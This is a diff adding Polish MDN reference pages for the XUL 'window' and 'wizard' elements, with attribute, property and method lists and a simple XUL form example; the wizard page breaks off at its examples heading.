+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code>
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/window/index.html b/files/pl/mozilla/tech/xul/window/index.html
new file mode 100644
index 0000000000..59c25fbe8c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/window/index.html
@@ -0,0 +1,203 @@
+---
+title: window
+slug: Mozilla/Tech/XUL/window
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/window
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Opisuje strukturę okna najwyższego poziomu. Jest to węzeł główny dokumentu XUL. Domyślnie jest zorientowanym pionowo pudełkiem. Jako że jest pudełkiem, wszystkie atrybuty okna mogą być zastosowane. Domyślnie dookoła okna znajdować się będzie odpowiednia dla platformy ramka.
+</p><p>Aby ustawić ikonę dla okna, utwórz odpowiedni dla platformy plik ikony <var>&lt;windowid&gt;</var><code>.ico</code> i/lub <var>&lt;windowid&gt;</var><code>.xpm</code> i umieść lub zainstaluj te pliki w katalogu <var>&lt;mozilla-directory&gt;</var><code>/chrome/icons/default/</code>. <var>&lt;windowid&gt;</var> jest wartością atrybutu id okna. Pozwala to na zastosowanie różnych ikon dla każdego okna.
+</p><p>Zobacz <a class="external" href="http://www.xulplanet.com/references/objref/Window.html">XUL Window</a>, aby dowiedzieć się więcej na temat własności i metod obiektu.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Tworzenie_okna">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-height">height</a>, <a href="#a-hidechrome">hidechrome</a>, <a href="#a-id">id</a>, <a href="#a-screenX">screenX</a>, <a href="#a-screenY">screenY</a>, <a href="#a-sizemode">sizemode</a>, <a href="#a-title">title</a>, <a href="#a-width">width</a>, <a href="#a-windowtype">windowtype</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+&lt;window id="rootWnd" title="Rejestracja online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+ &lt;vbox&gt;
+ &lt;hbox&gt;
+ &lt;image src="application_form.png"/&gt;
+ &lt;description&gt;Rejestracja online!&lt;/description&gt;
+ &lt;/hbox&gt;
+ &lt;groupbox align="start"&gt;
+ &lt;caption label="Twoje dane"/&gt;
+ &lt;radiogroup&gt;
+ &lt;vbox&gt;
+ &lt;hbox&gt;
+ &lt;label control="your-fname" value="Wpisz imię:"/&gt;
+ &lt;textbox id="your-fname" value="Johan"/&gt;
+ &lt;/hbox&gt;
+ &lt;hbox&gt;
+ &lt;label control="your-lname" value="Wpisz nazwisko:"/&gt;
+ &lt;textbox id="your-lname" value="Hernandez"/&gt;
+ &lt;/hbox&gt;
+ &lt;hbox&gt;
+ &lt;button oncommand="alert('save!')"&gt;
+ &lt;description&gt;Zapisz&lt;/description&gt;
+ &lt;/button&gt;
+ &lt;/hbox&gt;
+ &lt;/vbox&gt;
+ &lt;/radiogroup&gt;
+ &lt;/groupbox&gt;
+ &lt;/vbox&gt;
+&lt;/window&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-height">
+
+<dl><dt> <code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Wysokość elementu w pikselach. Zalecane jest stosowanie zamiast wysokości - własność wysokości CSS.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-hidechrome">
+
+<dl><dt> <code id="a-hidechrome"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidechrome">hidechrome</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawia ten atrybut na <code>true</code> do posiadanego chrome, włączając ukryty pasek tytułu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-id">
+
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>
+</dt><dd> Typ: <i>id elementu, musi być unikatowym identyfikatorem w oknie</i>
+</dd><dd> Unikatowy identyfikator, który będzie identyfikował się z elementem. Możemy go zastosować jako parametr do <code><a href="pl/DOM/document.getElementById">getElementById()</a></code> i innych funkcji DOM oraz jako odniesienie do elementu w arkuszach stylu. </dd></dl>
+
+
+</div>
+<div id="a-screenX">
+
+<dl>
+ <dt>
+ <code id="a-screenX"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/screenX">screenX</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pozioma pozycja, w którym miejscu pojawi się w oknie na ekranie.</dd>
+</dl>
+</div>
+<div id="a-screenY">
+
+<dl><dt> <code id="a-screenY"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/screenY">screenY</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pionowe położenie, w którym pojawia się okno na ekranie.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-sizemode">
+
+<dl>
+ <dt>
+ <code id="a-sizemode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sizemode">sizemode</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna z wartości poniżej</i>
+ </dd>
+ <dd>
+ Stan okna (<code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>). Następujące wartości mogą zostać zastosowane:</dd>
+</dl>
+<ul>
+ <li><code>maximized</code>: Okno jest zmaksymalizowane i posiada cały rozmiar na ekranie.</li>
+ <li><code>minimized</code>: Okno jest zminimalizowane lub ukryte.</li>
+ <li><code>normal</code>: Okno wyświetlane jest stanie normalnym, czyli w rozmiarze takim jakim chcemy.</li>
+</ul>
+</div>
+<div id="a-title">
+
+<dl><dt> <code id="a-title"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/title">title</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst wyświetlony na pasku tytułu w oknie dialogowym.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-width">
+
+<dl>
+ <dt>
+ <code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ (reprezentujący integer)</dd>
+ <dd>
+ Szerokość elementu w pikselach. Zwykle jednak powinno stosować się własność width w arkuszu stylów.</dd>
+</dl>
+</div>
+<div id="a-windowtype">
+
+<dl><dt> <code id="a-windowtype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/windowtype">windowtype</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustawia wartość atrybutu na łańcuch znaków, który będzie identyfikował typ okna. Może być wykorzystany, na przykład, do odróżnienia okna przeglądarki i okna edytora. Część funkcji obsługi okien w Mozilli stosuje ten atrybut do grupowania razem okien tego samego typu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Wiadomość błędu "XML Parsing Error: undefined entity...&lt;window" może być spowodowana brakującym lub nieosiągalnym plikiem DTD, do którego odnosi się plik XUL. Nazwa pliku następująca po słowie kluczowym SYSTEM w deklaracji DOCTYPE może się błędnie wczytać, a jedyną wiadomością błędu będzie błąd niezdefiniowanej encji w następnym elemencie XUL.
+</p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/dialog" title="dialog">dialog</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/dialogheader" title="dialogheader">dialogheader</a></code>
+</dd></dl>
+<p><br>
+</p>
+<h3 id="Uwagi_u.C5.BCytkownika" name="Uwagi_u.C5.BCytkownika"> Uwagi użytkownika </h3>
+<p>Aby zmienić ikonę paska tytułu okna przejrzyj stronę <a href="pl/Ikony_okna">Ikony okna</a>.
+</p><p>Aby dodać favicon (favikonę) do paska adresu i karty przeglądarki <i>(ie dialog is not a popup)</i> zastosuj następujący fragment kodu używający przestrzeni nazw html i znacznik link.
+</p>
+<pre>&lt;window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ xmlns:html="http://www.w3.org/1999/xhtml"&gt;
+
+&lt;!-- Ikona z chrome --&gt;
+&lt;html:link rel="icon" href="chrome://myExtension/content/path/to/favicon.png"/&gt;
+
+&lt;!-- Ze zdalnej strony --&gt;
+&lt;html:link rel="icon" href="http://www.mozilla.org/favicon.ico"/&gt;
+</pre>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/wizard/index.html b/files/pl/mozilla/tech/xul/wizard/index.html
new file mode 100644
index 0000000000..3485784dee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/wizard/index.html
@@ -0,0 +1,367 @@
+---
+title: wizard
+slug: Mozilla/Tech/XUL/wizard
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/wizard
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element powinien być stosowany do tworzenia kreatorów krok-po-kroku, jaki znajduje się w różnych aplikacjach aby przeprowadzić użytkownika przez jakieś zadanie. Jest to okno z kilkoma krokami znajdującymi się na kilku stronach. Element wizard tworzy okno i dostarcza nagłówek oraz przyciski wzdłuż dolnej krawędzi i obsługuje nawigację pomiędzy stronami. Każda strona powinna być tworzona używając elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>. Strony wyświetlane są w takiej kolejności w jakiej zostały umieszczone wewnątrz elementu <code>wizard</code>, chyba że użyjesz atrybutów <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code> i <code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code> stron by zmienić sekwencję. Kreator zostanie wyświetlony w sposób odpowiedni dla platformy i motywu użytkownika. W nowszych wersjach Mozilli, element <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code> może zostać umieszczony bezpośrednio wewnątrz elementu wizard i będzie współdzielony przez wszystkie strony.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Tworzenie_kreatora">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-firstpage">firstpage</a>, <a href="#a-lastpage">lastpage</a>, <a href="#a-onextra1">onextra1</a>, <a href="#a-onextra2">onextra2</a>, <a href="#a-onwizardback">onwizardback</a>, <a href="#a-onwizardcancel">onwizardcancel</a>, <a href="#a-onwizardfinish">onwizardfinish</a>, <a href="#a-onwizardnext">onwizardnext</a>, <a href="#a-pagestep">pagestep</a>, <a href="#a-title">title</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-canAdvance">canAdvance</a>, <a href="#p-canRewind">canRewind</a>, <a href="#p-currentPage">currentPage</a>, <a href="#p-onFirstPage">onFirstPage</a>, <a href="#p-onLastPage">onLastPage</a>, <a href="#p-pageCount">pageCount</a>, <a href="#p-pageIndex">pageIndex</a>, <a href="#p-pageStep">pageStep</a>, <a href="#p-title">title</a>, <a href="#p-wizardPages">wizardPages</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-advance">advance</a>, <a href="#m-cancel">cancel</a>, <a href="#m-extra1">extra1</a>, <a href="#m-extra2">extra2</a>, <a href="#m-getButton">getButton</a>, <a href="#m-getPageById">getPageById</a>, <a href="#m-goTo">goTo</a>, <a href="#m-rewind">rewind</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
